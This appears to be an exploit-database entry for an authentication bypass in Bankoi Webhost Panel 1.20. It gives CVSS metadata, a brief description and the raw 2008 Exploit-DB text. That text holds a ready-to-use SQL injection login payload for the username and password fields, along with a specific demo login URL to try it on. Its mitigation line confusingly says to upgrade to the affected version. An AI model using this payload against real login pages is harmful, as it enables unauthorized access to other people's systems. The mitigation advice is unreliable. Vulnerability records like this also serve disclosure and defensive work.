Bankoi Webhost Panel 1.20 (Auth Bypass)

vendor:

Webhost Panel

by:

R3d-D3v!L

7.5

CVSS

HIGH

Authentication Bypass

287

CWE

Product Name: Webhost Panel

Affected Version From: 1.2

Affected Version To: 1.2

Patch Exists: YES

Related CWE: N/A

CPE: a:bankoi:webhost_panel:1.20

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2008

Bankoi Webhost Panel 1.20 (Auth Bypass)

An authentication bypass vulnerability exists in Bankoi Webhost Panel 1.20. An attacker can exploit this vulnerability by sending a specially crafted request to the vulnerable application. This can allow an attacker to bypass authentication and gain access to the application.

Mitigation:

Upgrade to the latest version of Bankoi Webhost Panel 1.20

Source

Exploit-DB raw data:

[~] Bankoi Webhost Panel 1.20 (Auth Bypass)
[~]
[~] ----------------------------------------------------------
[~] author: R3d-D3v!L
[~]
[~] Date: 15.11.2008
[~]
[~] Home: www.ahacker.net
[~]
[~] contact: N/A
[~]
[~] -----------------------------------------------------------


[~] Exploit:

username: r0' or ' 1=1--
password: r0' or ' 1=1--


[~] admin login for demo:

http://demo.webhost-panel.com:8077/login.asp

username: r0' or ' 1=1--
password: r0' or ' 1=1--

[~]--------------------------------------------------------------------------------
[~] Greetz tO:dolly & maxmos & hesham_hacker & m4n0n & k374 & hi4alex & xp10_hacker
[~]
[~] xp10.biz & ahacker.net
[~]
[~]--------------------------------------------------------------------------------

# milw0rm.com [2008-11-14]